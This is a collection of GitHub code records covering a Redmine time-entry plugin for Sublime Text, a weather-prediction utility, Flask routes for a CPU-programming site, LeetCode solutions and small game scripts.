+{"seq_id":"41280175289","text":"#!/usr/bin/env python\\n\n# -*- coding: utf-8 -*-\n\nimport datetime\nimport sublime\nimport sublime_plugin\nfrom . import utils\nfrom .utils import Redlime\n\n\nclass RedlimeTimeEntryCreateCommand(sublime_plugin.TextCommand):\n\n    timeentry_data = {}\n\n    def run(self, edit):\n        self.redmine = Redlime.connect()\n        # issue_id = self.view.settings().get('issue_id', None)\n        self.screen = self.view.settings().get('screen')\n        issue_id = self.get_issue_id()\n        if issue_id is None:\n            projects_filter = utils.get_setting('projects_filter', [])\n            if projects_filter:\n                projects = [self.redmine.project.get(pid) for pid in projects_filter]\n            else:\n                projects = self.redmine.project.all()\n\n            prj_names = []\n            self.prj_ids = []\n            for prj in projects:\n                prj_names.append(prj.name)\n                self.prj_ids.append(prj.id)\n            self.view.window().show_quick_panel(prj_names, self.on_project_done)\n        else:\n            self.on_issue_done(issue_id)\n\n    def get_issue_id(self):\n        issue_id = None\n        if self.screen == 'redlime_issue':\n            issue_id = self.view.settings().get('issue_id', None)\n        elif self.screen == 'redlime_query':\n            try:\n                line = self.view.substr(self.view.line(self.view.sel()[0].end()))\n                issue_id = line.split(utils.TABLE_SEP)[1].strip()\n                int(issue_id)  # check is number\n            except Exception:\n                pass\n        return issue_id\n\n    def on_project_done(self, index):\n        if index < 0:\n            return\n\n        self.timeentry_data['project_id'] = self.prj_ids[index]\n        self.view.window().show_input_panel(\"Issue id:\", '', self.on_issue_done, None, None)\n\n    def on_issue_done(self, text):\n        if text:\n            self.timeentry_data['issue_id'] = int(text)\n\n        activities = self.redmine.enumeration.filter(resource='time_entry_activities')\n        if activities:\n            self.acts = []\n            self.acts_ids = []\n            for enum in activities:\n                self.acts.append(enum.name)\n                self.acts_ids.append(enum.id)\n\n            sublime.set_timeout(lambda: self.view.window().show_quick_panel(self.acts, self.on_activity_done), 1)\n        else:\n            self.on_activity_done(-1)\n\n    def on_activity_done(self, index):\n        if index >= 0:\n            # not required and needs redmine >= 3.4.0\n            self.timeentry_data['activity_id'] = self.acts_ids[index]\n            self.timeentry_data['activity_name'] = self.acts[index]\n\n        self.view.window().show_input_panel(\"Date:\", datetime.datetime.now().strftime('%Y-%m-%d'), self.on_date_done, None, None)\n\n    def on_date_done(self, text):\n        if not text:\n            return\n        self.timeentry_data['spent_on'] = text\n\n        self.view.window().show_input_panel(\"Hours:\", '1.0', self.on_hours_done, None, None)\n\n    def on_hours_done(self, text):\n        if not text:\n            return\n        self.timeentry_data['hours'] = float(text)\n\n        self.view.window().show_input_panel(\"Comment:\", '', self.on_comment_done, None, None)\n\n    def on_comment_done(self, text):\n        if not text:\n            return\n\n        time_entry = self.redmine.time_entry.new()\n        if self.timeentry_data.get('issue_id', None):\n            time_entry.issue_id = self.timeentry_data['issue_id']\n        elif self.timeentry_data.get('project_id', None):\n            time_entry.project_id = self.timeentry_data['project_id']\n        else:\n            raise Exception('Issue or project required to create time entry.')\n        if self.timeentry_data.get('activity_id', None):\n            time_entry.activity_id = self.timeentry_data.get('activity_id', None)\n        time_entry.comments = text\n        time_entry.spent_on = self.timeentry_data['spent_on']\n        time_entry.hours = self.timeentry_data['hours']\n        time_entry.save()\n        if time_entry.id:\n            sublime.message_dialog('Time entry %s (\"%s: %s\") created successfully.' % (time_entry.id, self.timeentry_data['activity_name'], time_entry.comments))\n            if self.timeentry_data['issue_id']:\n                self.view.run_command('redlime_issue', {'issue_id': self.timeentry_data['issue_id']})\n        else:\n            sublime.message_dialog('Error! Time entry creation failed..')\n","repo_name":"tosher/Redlime","sub_path":"base/rl_time_entry_create.py","file_name":"rl_time_entry_create.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"5601282097","text":"import os, sys, inspect\ncurrent_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparent_dir = os.path.dirname(current_dir)\nsys.path.insert(0, parent_dir)\n\nfrom datetime import date, datetime\nimport pandas as pd\nimport numpy as np\n\nfrom cl_random_forest import *\n\ndf, X_, Y_, X_train_, X_test_, y_train_, y_test_, X_train_part_, X_valid_, y_train_part_, y_valid_ = DO_PREPROCESSING()\nY_ = Y_[col_y_true].tolist()\ny_train_ = y_train_[col_y_true].tolist()\ny_train_part_ = y_train_part_[col_y_true].tolist()\ny_valid_ = y_valid_[col_y_true].tolist()\ny_test_origin = y_test_.copy()\ny_test_ = y_test_[col_y_true].tolist()\n\nM = c_Random_Forest()\nM.get_best_model(14, idx=0, random_state=71)\nM.fit_predict_model(M.best_model, X_train_, y_train_, X_test_, y_test_) \n","repo_name":"af20/mds_ml_predict_stock_market_direction","sub_path":"MAIN.py","file_name":"MAIN.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27328253386","text":"import os\nimport glob\nimport logging\nfrom os.path import basename, splitext\n\n# Zynthian specific modules\nfrom zyngui.zynthian_gui_selector import zynthian_gui_selector\n\n#------------------------------------------------------------------------------\n# Zynthian Option Selection GUI Class\n#------------------------------------------------------------------------------\n\nclass zynthian_gui_option(zynthian_gui_selector):\n\n\tdef __init__(self):\n\t\tself.title = \"\"\n\t\tself.options = {}\n\t\tself.options_cb = None\n\t\tself.cb_select = None\n\t\tself.click_type = False\n\t\tself.close_on_select = True\n\t\tsuper().__init__(\"Option\", True)\n\n\n\tdef config(self, title, options, cb_select, close_on_select=True, click_type=False):\n\t\tself.title = title\n\t\tif callable(options):\n\t\t\tself.options_cb = options\n\t\t\tself.options = None\n\t\telse:\n\t\t\tself.options_cb = None\n\t\t\tself.options = options\n\t\tself.cb_select = cb_select\n\t\tself.close_on_select = close_on_select\n\t\tself.click_type = click_type\n\t\tself.index = 0\n\n\n\tdef config_file_list(self, title, dpaths, fpat, cb_select, close_on_select=True, click_type=False):\n\t\tself.title = title\n\t\tself.options = {}\n\t\tself.options_cb = None\n\t\tself.cb_select = cb_select\n\t\tself.close_on_select = close_on_select\n\t\tself.click_type = click_type\n\t\tself.index = 0\n\n\t\tif isinstance(dpaths, str):\n\t\t\tdpaths = [dpaths]\n\t\tif isinstance(dpaths, (list, tuple)):\n\t\t\tfor dpath in dpaths:\n\t\t\t\ttry:\n\t\t\t\t\tfor fpath in sorted(glob.iglob(\"{}/{}\".format(dpath, fpat))):\n\t\t\t\t\t\tfname = basename(fpath)\n\t\t\t\t\t\tif fpat != \"*\":\n\t\t\t\t\t\t\tfbase, fext = splitext(fname)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfbase = fname\n\n\t\t\t\t\t\tif os.path.isfile(fpath):\n\t\t\t\t\t\t\tself.options[fbase] = fpath\n\t\t\t\texcept Exception as err:\n\t\t\t\t\tlogging.warning(\"Can't get file list for {}/{}: {}\".format(dpath, fpat, err))\n\n\n\tdef fill_list(self):\n\t\ti = 0\n\t\tself.list_data = []\n\t\tif self.options_cb:\n\t\t\tself.options = self.options_cb()\n\t\tfor k, v in self.options.items():\n\t\t\tself.list_data.append((v, i, k))\n\t\t\ti += 1\n\t\tsuper().fill_list()\n\n\n\tdef select_action(self, i, t='S'):\n\t\tif self.close_on_select:\n\t\t\tself.zyngui.close_screen()\n\t\tif self.cb_select and i < len(self.list_data):\n\t\t\tif self.click_type:\n\t\t\t\tself.cb_select(self.list_data[i][2], self.list_data[i][0], t)\n\t\t\telse:\n\t\t\t\tself.cb_select(self.list_data[i][2], self.list_data[i][0])\n\t\t\tif not self.close_on_select:\n\t\t\t\tself.fill_list()\n\n\n\tdef set_select_path(self):\n\t\tself.select_path.set(self.title)\n\n#------------------------------------------------------------------------------\n","repo_name":"zynthian/zynthian-ui","sub_path":"zyngui/zynthian_gui_option.py","file_name":"zynthian_gui_option.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"16"}
+{"seq_id":"5215519954","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: wushaohong\n@time: 2020/2/14 16:46\n\"\"\"\n\"\"\"给定一个完美二叉树，其所有叶子节点都在同一层，每个父节点都有两个子节点。二叉树定义如下：\n\nstruct Node {\n  int val;\n  Node *left;\n  Node *right;\n  Node *next;\n}\n填充它的每个 next 指针，让这个指针指向其下一个右侧节点。如果找不到下一个右侧节点，则将 next 指针设置为 NULL。\n\n初始状态下，所有 next 指针都被设置为 NULL。\n\n示例：\n\n输入：{\"$id\":\"1\",\"left\":{\"$id\":\"2\",\"left\":{\"$id\":\"3\",\"left\":null,\"next\":null,\"right\":null,\"val\":4},\"next\":null,\"right\":{\"$id\":\"4\",\"left\":null,\"next\":null,\"right\":null,\"val\":5},\"val\":2},\"next\":null,\"right\":{\"$id\":\"5\",\"left\":{\"$id\":\"6\",\"left\":null,\"next\":null,\"right\":null,\"val\":6},\"next\":null,\"right\":{\"$id\":\"7\",\"left\":null,\"next\":null,\"right\":null,\"val\":7},\"val\":3},\"val\":1}\n\n输出：{\"$id\":\"1\",\"left\":{\"$id\":\"2\",\"left\":{\"$id\":\"3\",\"left\":null,\"next\":{\"$id\":\"4\",\"left\":null,\"next\":{\"$id\":\"5\",\"left\":null,\"next\":{\"$id\":\"6\",\"left\":null,\"next\":null,\"right\":null,\"val\":7},\"right\":null,\"val\":6},\"right\":null,\"val\":5},\"right\":null,\"val\":4},\"next\":{\"$id\":\"7\",\"left\":{\"$ref\":\"5\"},\"next\":null,\"right\":{\"$ref\":\"6\"},\"val\":3},\"right\":{\"$ref\":\"4\"},\"val\":2},\"next\":null,\"right\":{\"$ref\":\"7\"},\"val\":1}\n\n解释：给定二叉树如图 A 所示，你的函数应该填充它的每个 next 指针，以指向其下一个右侧节点，如图 B 所示。\n提示：\n\n你只能使用常量级额外空间。\n使用递归解题也符合要求，本题中递归程序占用的栈空间不算做额外的空间复杂度。\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/populating-next-right-pointers-in-each-node\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\"\"\"\n\n\n# Definition for a Node.\nclass Node:\n    def __init__(self, val: int = 0, left: 'Node' = None, right: 'Node' = None, next: 'Node' = None):\n        self.val = val\n        self.left = left\n        self.right = right\n        self.next = next\nclass Solution:\n    def connect(self, root: 'Node') -> 'Node':\n        def helper(root):\n            if root and root.left:\n                root.left.next = root.right\n                p = root.left\n                q = root.right\n                while p.right:\n                    p = p.right\n                    q = q.left\n                    p.next = q\n                helper(root.left)\n                helper(root.right)\n        r = root\n        helper(r)\n        return root\n","repo_name":"hshrimp/letecode_for_me","sub_path":"letecode/1-120/97-120/116.py","file_name":"116.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"72201775689","text":"import pickle\n\nimport numpy as np\nimport torch\nimport torch.nn.parallel\nimport torch.optim\nimport torch.utils.data\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom core.selector import Selector\nfrom data_loaders.data_loader_all_loaded import DataLoaderAllLoaded\nfrom models.loss import get_criterion\nfrom utils.run_utils import get_model\n\n\ndef get_model_and_dataset(\n        start_date,\n        end_date,\n        model_kwargs,\n        data_kwargs,\n        checkpoint_fpath,\n        input_shape=(540, 420),\n        is_validation=True,\n        is_test=True,\n):\n    loss_kwargs = {'type': 0, 'aggregation_mode': 0, 'kernel_size': None, 'residual_loss': 0, 'w': None}\n    model = get_model(start_date, end_date, model_kwargs, loss_kwargs, data_kwargs, '', '', input_shape=input_shape)\n    checkpoint = torch.load(checkpoint_fpath)\n    _ = model.load_state_dict(checkpoint['state_dict'])\n    model = torch.nn.DataParallel(model).cuda()\n\n    dataset = DataLoaderAllLoaded(\n        start_date,\n        end_date,\n        data_kwargs['input_len'],\n        data_kwargs['target_len'],\n        target_offset=data_kwargs['target_offset'],\n        data_type=data_kwargs['data_type'],\n        hourly_data=data_kwargs['hourly_data'],\n        residual=data_kwargs['residual'],\n        img_size=input_shape,\n        sampling_rate=data_kwargs['sampling_rate'],\n        random_std=data_kwargs['random_std'],\n        is_validation=is_validation,\n        is_test=is_test,\n        workers=0,\n    )\n    return (model, dataset)\n\n\ndef get_worstK_prediction(k,\n                          start_date,\n                          end_date,\n                          model_kwargs,\n                          data_kwargs,\n                          loss_kwargs,\n                          checkpoint_fpath,\n                          batch_size,\n                          lean=False,\n                          input_shape=(540, 420),\n                          num_workers=4):\n\n    selector = Selector(k, 'max')\n    model, dataset = get_model_and_dataset(\n        start_date,\n        end_date,\n        model_kwargs,\n        data_kwargs,\n        checkpoint_fpath,\n        input_shape=(540, 420),\n    )\n    loader = DataLoader(dataset, batch_size=batch_size, num_workers=num_workers, shuffle=False)\n    start_index = 0\n    criterion = get_criterion(loss_kwargs)\n    model.eval()\n    recent_target = 0\n    with torch.no_grad():\n        for batch in tqdm(loader):\n            if data_kwargs['residual']:\n                inp, target, mask, recent_target = batch\n                recent_target = np.swapaxes(recent_target.numpy(), 0, 1)\n            else:\n                inp, target, mask = batch\n\n            N = target.shape[0]\n            inp = inp.cuda()\n            target = target.cuda()\n            mask = mask.cuda()\n\n            prediction = model(inp) + recent_target\n            assert target.shape[0] == prediction.shape[1]\n            loss_list = []\n            for b in range(target.shape[0]):\n                loss_list.append(criterion(prediction[:, b:b + 1], target[b:b + 1], mask[b:b + 1]).item())\n\n            prediction = prediction.permute(1, 0, 2, 3)\n            prediction = prediction.cpu().numpy()\n            target = target.cpu().numpy()\n            ts = [dataset.target_ts(k) for k in range(start_index, start_index + N)]\n            if lean:\n                selector.add_batch(loss_list, ts)\n            else:\n                selector.add_batch(loss_list, prediction, target, ts)\n            start_index += N\n\n    return selector.all()\n\n\ndef load_worstK_predictions(fpath):\n    with open(fpath, 'rb') as f:\n        data = pickle.load(f)\n\n    loss_list = []\n    target_list = []\n    prediction_list = []\n    ts_list = []\n    lean = len(data[0]) == 2\n    target, prediction = None, None\n    while len(data) > 0:\n        row = Selector.pop(data)\n        assert len(row) == 4 or len(row) == 2\n        if lean:\n            loss, ts = row\n        else:\n            loss, prediction, target, ts = row\n        loss_list.append(loss)\n        target_list.append(target)\n        prediction_list.append(prediction)\n        ts_list.append(ts)\n\n    if lean:\n        return {'loss': loss_list, 'prediction': None, 'target': None, 'ts': ts_list}\n\n    return {'loss': loss_list, 'prediction': prediction_list, 'target': target_list, 'ts': ts_list}\n\n\ndef get_prediction(start_date,\n                   end_date,\n                   model_kwargs,\n                   data_kwargs,\n                   loss_kwargs,\n                   checkpoint_fpath,\n                   batch_size,\n                   is_validation=True,\n                   is_test=False,\n                   input_shape=(540, 420),\n                   num_workers=4):\n    model, dataset = get_model_and_dataset(\n        start_date,\n        end_date,\n        model_kwargs,\n        data_kwargs,\n        checkpoint_fpath,\n        input_shape=(540, 420),\n        is_validation=is_validation,\n        is_test=is_test,\n    )\n    criterion = get_criterion(loss_kwargs)\n    loader = DataLoader(dataset, batch_size=batch_size, num_workers=num_workers, shuffle=False)\n\n    all_prediction = []\n    loss_list = []\n    model.eval()\n    recent_target = 0\n    with torch.no_grad():\n        for batch in tqdm(loader):\n            if data_kwargs['residual']:\n                inp, target, mask, recent_target = batch\n                recent_target = np.swapaxes(recent_target.numpy(), 0, 1)\n            else:\n                inp, target, mask = batch\n\n            N = target.shape[0]\n            inp = inp.cuda()\n            target = target.cuda()\n            mask = mask.cuda()\n\n            prediction = model(inp) + recent_target\n            assert target.shape[0] == prediction.shape[1]\n            loss_list.append(N * criterion(prediction, target, mask).item())\n\n            prediction = prediction.cpu().numpy()\n            all_prediction.append(np.swapaxes(prediction, 0, 1))\n\n    print('[Loss]', round(np.sum(loss_list) / len(dataset), 3))\n    return np.concatenate(all_prediction, axis=0)\n","repo_name":"ashesh-0/AccClearQPN","sub_path":"utils/prediction_utils.py","file_name":"prediction_utils.py","file_ext":"py","file_size_in_byte":6021,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"7195039846","text":"\ndef heapify(i):\n\twhile parent>=0:\n\t\tparent=(i-1)//2\n\t\ttemp=a[i]\n\t\ta[i]=a[maxi]\n\t\ta[maxi]=temp\ndef insert(ele):\n\ta.append(ele)\n\theapify(len(a)-1)\n\nn=int(input('length of array'))\na=list(map(int,input().split()))\nfor i in range(n//2,-1,-1):\n\theapify(i)\nprint(a)","repo_name":"utkarshgupta220399/Algorithms-using-python","sub_path":"heapinsert.py","file_name":"heapinsert.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4805381031","text":"#import flask libraries and os libraries \nfrom flask import Flask, render_template, request, jsonify, make_response, Response, redirect, url_for\nimport os\nimport json\nfrom json import JSONEncoder\n\n#define the template directory (html pages) to be the website directory.\ntemplate_dir = os.path.abspath('./website/')\n\n#define Flask Application\napp = Flask(__name__, template_folder=template_dir)\n\n\n#create routes for the certain pages. When a user travels to the URL contained withing the quotes, it will call the function.\n#index route that brings user to home page.\n@app.route('/')\ndef home():\n      return render_template('index.html')\n\n#route that brings user to the How CPU's work page\n@app.route('/howcpuswork')\ndef howcpuswork():\n      return render_template('howcpuswork.html')\n\n#route that brings user to the How 8-bit CPU's work page\n@app.route('/how8bitwork')\ndef how8bitwork():\n      return render_template('how8bitwork.html')\n\n#route that brings user to the Programming Page\n@app.route('/cpuprogram')\ndef cpuprogram():\n      return render_template('cpuprogram.html', result=\"\")\n\n#route that brings user to page that only displays the stream.\n@app.route('/stream')\ndef stream():\n      return render_template('stream.html')\n\n#route that brings user to page that has FAQs.\n@app.route('/faq')\ndef faq():\n      return render_template('faq.html')\n\n#define class for one instruction\nclass instruction():\n      def __init__(self, address, instruct, value):\n            self.address = address\n            self.instruct = instruct\n            self.value = value\n\n      def get_instruct(self):\n            return \"%s %s %s\" % (self.address, self.instruct, self.value)\n      def serialize(self):\n            return {\n                  'address': self.address,\n                  'instruction': self.instruct,\n                  'value': self.value\n            }\n\n\n\n#define class that is created to contain one set of instructions\nclass program():\n      def __init__(self, id, program):\n            self.id = id\n            self.program = program\n\n      def serialize(self):\n            return {\n                  'id': self.id,\n                  'program': self.program.serialize()\n            }\n#programEncoder class for JSON encoding\nclass programEncoder(JSONEncoder):\n      def default(self, o):\n            return o.__dict__\n            \n\n\nprograms = [] #array that holds all programs yet to be executed\nids = [] #array to hold list of all ID's. The index of an ID is it's position in queue.\ncurrentId = 1 #value to keep track of next ID to be assigned.\n\n#function that if a value is nothing, changes it to 0000.\ndef processInputVal(inp):\n      if (inp == \"\"):\n            return \"0000\"\n      else:\n            return inp\n\n#function that if a instruction is nothing, it is changed to NOP.      \ndef processInputInstruct(inst):\n      if (inst == \"\"):\n            return \"NOP\"\n      elif (inst == \"JC\"):\n            return \"JC \"\n      else:\n            return inst\n\n#API URL for creating a new program. It is a POST method. It takes a request, and processes all the information to create a\n#instance of a program and then returns the id and it's position.\n@app.route('/api/new-program', methods=['POST'])\ndef i():\n      global currentId\n      global ids\n      if request.method == 'POST':\n            global test\n            current_form = request.form\n            instructions = []\n            for ind in range(0, 16):\n                  step = format(ind, \"b\")\n                  \n                  inst = instruction(step, processInputInstruct(current_form[f'{step}in']), processInputVal(current_form[f'{step}val']))\n                  instructions.append(inst)\n                  print(step)\n\n            newProgram = program(currentId,instructions)\n            programs.append(newProgram)\n            ids.append(currentId)\n            currentId += 1\n            #print(ids.index(newProgram.id))\n            #programs.pop(0)\n            #ids.pop(0)\n            return jsonify(id=newProgram.id, position=ids.index(newProgram.id))\n\n#API URL for returning the current program. It is a GET method. \n@app.route('/api/current-program')\ndef current_program():\n      if (len(programs) >= 1):\n            return json.dumps(programs[0], cls=programEncoder)\n      else:\n            return json.dumps(\"No programs\")\n            \n      \n#API URL for removing the current program. It is a GET method\n@app.route('/api/remove-program')\ndef remove_program():\n      programs.pop(0)\n      ids.pop(0)\n      return \"Success\"\n      \n#API URL for getting the position in queue of an ID. It is a GET method that takes a ID value in.\n@app.route('/api/position')\ndef position():\n      args = request.args\n      request_id = int(args[\"id\"])\n      if request_id in ids:\n            return jsonify(str(ids.index(request_id)))\n      else:\n            return jsonify(\"Id isn't present\")\n      \n#This will call Flask to run the application to run on the VAPOR link. If the file name is main, it will run the application\nif __name__ == \"__main__\":\n        app.run(host='0.0.0.0', port=(os.environ.get('VAPOR_LOCAL_PORT')))\n","repo_name":"CJChristenson/drew-drew-this-isp","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"5215565684","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: wushaohong\n@time: 2020-06-03 10:24\n\"\"\"\n\"\"\"128. 最长连续序列\n给定一个未排序的整数数组，找出最长连续序列的长度。\n\n要求算法的时间复杂度为 O(n)。\n\n示例:\n\n输入: [100, 4, 200, 1, 3, 2]\n输出: 4\n解释: 最长连续序列是 [1, 2, 3, 4]。它的长度为 4。\"\"\"\n\n\nclass Solution:\n    def longestConsecutive(self, nums) -> int:\n        res = 0\n        nums = set(nums)\n        for n in nums:\n            if n - 1 not in nums:\n                cur = n\n                cur_l = 1\n                while cur + 1 in nums:\n                    cur += 1\n                    cur_l += 1\n                res = max(res, cur_l)\n        return res\n\n    def longestConsecutive2(self, nums) -> int:\n        d = {}\n        res = 0\n        for n in nums:\n            if n not in d:\n                left = d.get(n - 1, 0)\n                right = d.get(n + 1, 0)\n                print(d, n, left, right)\n                cur = left + 1 + right\n                res = max(res, cur)\n                d[n] = cur\n                d[n - left] = cur\n                d[n + right] = cur\n        return res\n\n\nif __name__ == '__main__':\n    sol = Solution()\n    print(sol.longestConsecutive([100, 4, 200, 1, 3, 2]))\n    print(sol.longestConsecutive2([100, 4, 200, 1, 3, 2]))\n","repo_name":"hshrimp/letecode_for_me","sub_path":"letecode/121-240/121-144/128.py","file_name":"128.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"74719166089","text":"#!/usr/bin/env python3\n\n\nwith open(\"strategy_guide\") as inf:\n\tinput = inf.read().splitlines()\n\n\n# X means *lose*, 0 pts\n# Y means \"Tie\", 3 pts\n# Z means \"Win\", 6 pts\n\n# if we throw a:\n#\tRock:\t1 pt\n#\tPaper:\t2 pts\n#\tScissors: 3 pts\n\ndef brute(line):\n\tif line == \"A X\":\n\t\t# Lose to Rock ==> Throw Scissors\n\t\treturn (0 + 3)\n\tif line == \"A Y\":\n\t\t# Tie with Rock ==> Throw Rock\n\t\treturn (3 + 1)\n\tif line == \"A Z\":\n\t\t# Win vs rock, throw Paper\n\t\treturn (6 + 2)\n\tif line == \"B X\":\n\t\treturn (0 + 1)\n\tif line == \"B Y\":\n\t\treturn (3 + 2)\n\tif line == \"B Z\":\n\t\treturn (6 + 3)\n\tif line == \"C X\":\n\t\treturn (0 + 2)\n\tif line == \"C Y\":\n\t\treturn (3 + 3)\n\tif line == \"C Z\":\n\t\treturn (6 + 1)\n\n\ndef should_throw(line):\n\tif line == \"A Z\" or line == \"B Y\" or line == \"C X\":\n\t\treturn \"P\"\n\tif line == \"A Y\" or line == \"B X\" or line == \"C Z\":\n\t\treturn \"R\"\n\tif line == \"A X\" or line == \"B Z\" or line == \"C Y\":\n\t\treturn \"S\"\n\ndef show_outcome(line):\n\tif \"X\" in line:\n\t\treturn \"Lose\"\n\tif \"Y\" in line:\n\t\treturn \"Tie\"\n\treturn \"Win\"\n\ndef get_winscore(line):\n\tif \"X\" in line:\n\t\treturn 0\n\tif \"Y\" in line:\n\t\treturn 3\n\tif \"Z\" in line:\n\t\treturn 6\n\ndef get_throwscore(line):\n\tif \"R\" in line:\n\t\treturn 1\n\tif \"P\" in line:\n\t\treturn 2\n\tif \"S\" in line:\n\t\treturn 3\n\ntotal = 0\nbrute_total = 0\nfor line in input:\n\tbrute_total += brute(line)\n\tthrow = should_throw(line)\n\tround = get_winscore(line) + get_throwscore(throw)\n\tprint(f\"{line}: {show_outcome(line)}, throw {should_throw(line)}, {brute(line)}? {round} ({get_winscore(line)} + {get_throwscore(throw)})\")\n\ttotal += round\nprint(f\"brute: {brute_total}, elegant: {total}\")\n","repo_name":"natethebobo/adventOfCode2022","sub_path":"day2/2Dec.py","file_name":"2Dec.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22327556933","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nimport os\nimport sys\n\nfrom setuptools import find_packages\nfrom setuptools import setup\nfrom setuptools.command.install import install\n\nVERSION = '0.0.1'\n\n\nclass VerifyVersionCommand(install):\n    \"\"\"Custom command to verify that the git tag matches our version\"\"\"\n    description = 'verify that the git tag matches our version'\n\n    def run(self):\n        tag = os.getenv('CIRCLE_TAG')\n        tag = tag.lstrip('v')\n\n        if tag != VERSION:\n            info = f\"Git tag: {tag} does not match the version of this app: {VERSION}\"\n            sys.exit(info)\n\n\nsetup(\n    name='vttes',\n    version=VERSION,\n    license='BSD',\n    description='Python Tools for Roll20 / VTTES / Better20 integrations',\n    long_description='Python tools.',\n    author='William Gibb',\n    author_email='williamgibb@gmail.com',\n    url='https://github.com/forgedconcordance/vttestools',\n    packages=find_packages(include=('vttes',)),\n    include_package_data=True,\n    zip_safe=False,\n    classifiers=[\n        # complete classifier list: http://pypi.python.org/pypi?%3Aaction=list_classifiers\n        'Development Status :: 3 - Alpha',\n        'Intended Audience :: Developers',\n        'License :: OSI Approved :: MIT License',\n        'Operating System :: Unix',\n        'Operating System :: POSIX',\n        'Operating System :: Microsoft :: Windows',\n        'Programming Language :: Other',\n        'Programming Language :: Python :: 3.7',\n        'Programming Language :: Python :: 3.8',\n        'Programming Language :: Python :: 3.9',\n        'Programming Language :: Python :: Implementation :: CPython',\n    ],\n    keywords=[\n        # eg: 'keyword1', 'keyword2', 'keyword3',\n    ],\n    install_requires=[\n        'cmd2==1.4.0',\n        'tabulate==0.8.7',\n        'synapse>=2.33.0,<3.0.0',\n    ],\n    extras_require={\n        # eg:\n        #   'rst': ['docutils>=0.11'],\n        #   ':python_version==\"2.6\"': ['argparse'],\n    },\n    entry_points={\n        'console_scripts': [\n            'vttestools= vttes.tools.cli:_main',\n        ]\n    },\n    cmdclass={\n        'verify': VerifyVersionCommand,\n    },\n)\n","repo_name":"forgedconcordance/vttestools","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26141503390","text":"class Solution:\n    def minimumFinishTime(self, tires: List[List[int]], changeTime: int, numLaps: int) -> int:\n        tires.sort(key=lambda x:x[1])\n        candidateTires = []\n        for tire in tires:\n            if not candidateTires:\n                candidateTires.append(tire)\n            elif tire[0] < candidateTires[-1][0]:\n                candidateTires.append(tire)\n\n        n = len(candidateTires)\n\n        def totalTime(tire, lap):\n            f, r = candidateTires[tire][0], candidateTires[tire][1]\n            # f * r^(lap-1)\n            # f * r^0 + f*r^1 + f*r^2 + ... + f*r^(lap-1)\n            return f * (r**lap-1)//(r-1)\n\n        minTime = [inf] * (numLaps + 1)\n        for lap in range(1, numLaps+1):\n            for i in range(n):\n                minTime[lap] = min(minTime[lap], totalTime(i, lap))\n\n        dp = [inf] * 1001\n        dp[0] = 0\n        for i in range(1, numLaps+1):\n            for j in range(1, i+1):\n                if j < i:\n                    dp[i] = min(dp[i], dp[i-j] + changeTime + minTime[j])\n                elif j == i:\n                    dp[i] = min(dp[i], dp[i-j] + minTime[j])\n\n        return dp[numLaps]","repo_name":"Vergil0327/leetcode-history","sub_path":"2-D Dynamic Programming/2188. Minimum Time to Finish the Race/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70953013129","text":"# Создайте программу для игры с конфетами человек против человека.\n\n# Условие задачи: На столе лежит 2021 конфета. Играют два игрока делая ход друг после друга.\n# Первый ход определяется жеребьёвкой. За один ход можно забрать не более чем 28 конфет.\n# Все конфеты оппонента достаются сделавшему последний ход.\n# Сколько конфет нужно взять первому игроку, чтобы забрать все конфеты у своего конкурента?\n# a) Добавьте игру против бота\n# b) Подумайте как наделить бота \"\"интеллектом\"\"\n\nimport random\ndef input_check(sum):\n    while True:\n        if sum <= 28:\n            max = sum\n        else:\n            max = 28\n        print(f'сколько конфет берём? (максимум {max})')\n        try:\n            pos = int(input())\n            if pos > 0 and pos <= 28:\n                    return pos\n            else:\n                print('попробуй ещё раз')\n        except:\n            print('Мы в конфетки играем. Пиши цифру или уходи')\n\nplayer_1 = input('введите имя первого игрока: ')\nplayer_2 = input('введите имя второго игрока: ')\nplayers = [(0, player_1), (1, player_2)]\nnumber = int(input('на сколько конфет играем?'))\nfirst = random.randint(0, 1)\nwhile number > 0:\n    print(f'ходит {players[first%2][1]}')\n    number -= input_check(number)\n    if number == 0:\n        print(f'{players[first%2][1]} побеждает и забирает себе все конфеты! \\n {players[first%2-1][1]} остётся ни с чем')\n        break\n    first = first % 2 + 1\n    